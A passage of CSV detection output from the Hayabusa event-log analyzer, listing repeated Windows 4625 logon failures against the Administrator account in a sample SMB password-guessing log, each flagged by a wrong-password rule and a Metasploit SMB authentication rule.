Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4rHJ70VrEwCQjSvL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.176 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8qwZT66ExkdJDZaT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ezuHluj1fEC9KdQ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bXH5uDfo4WB6QEnQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yWvZjuZhnGcrelOM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vb6ePjmpA8ZwK1PW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.434 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7e1A9ZY20WM8oDn6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.473 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 71GKLnXqSEEuc1Fw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.523 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w0GsW0vDEkpRa1X0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.556 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0HH6zUUoL0qlfFC2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AG4pYsjob1iwlOc0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.636 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dNCX5tZ0nF1foTLW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.677 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.710 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vO82Kb0kboVFuJy6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.710 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DptE2C8ZK3AxCb43 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.871 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NC8manvVP5pU8F3N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.871 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.926 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m00bI5welsLUWmwJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.926 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4shyxJk2PiH1TDlj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.014 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xZyN2WO3UVY0WQs6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.014 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.053 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oSQjAMckifap5r1k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.053 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qixqXiX0mVcuXe37 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.126 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gIfJCJz6l36WMeY9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.126 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SZxv5U7uoN6E8c8E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.166 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mlIfE0N32OQeWuNw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nkZcjpTmHcJ0uX38 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GZfaHr2Yq6xkRjOI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.301 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jvy0EIiPSnom7pn3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TN9PUb0BgI3u8Xax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.429 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xCgz5BNpQgLgW0Xi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.429 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.478 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: po2GBdrXr3XtBsWR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.478 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O2rgo6jHcqu10IGY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MLblUOGzYzVA47E9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ysuA1xpYuAGRNONJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.616 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ksedziaGzXk5VNlS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.711 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: irIfGLQdhtRRGwuo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.711 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YCf6WUjiS11hHqKT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1o0CTT7GsWfCWuHx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F6Jr8XrUsmTiSdol : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Buj66iuSkLEQdKnQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.868 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.912 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L1wOLI51HqfkgO6r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.912 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X4oe273WXOICzkwW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1c7nGezYNJ70jR6R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.992 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ajuZ09zGeuovCQLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z4k7xV7soNF4mHlz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CtdqW8zOw1GoQcvA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aY6FLi1edRZWrRZN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.204 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ah1JoKfxJzQhCCVL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.204 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gIMOZRGcv4o33BWd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 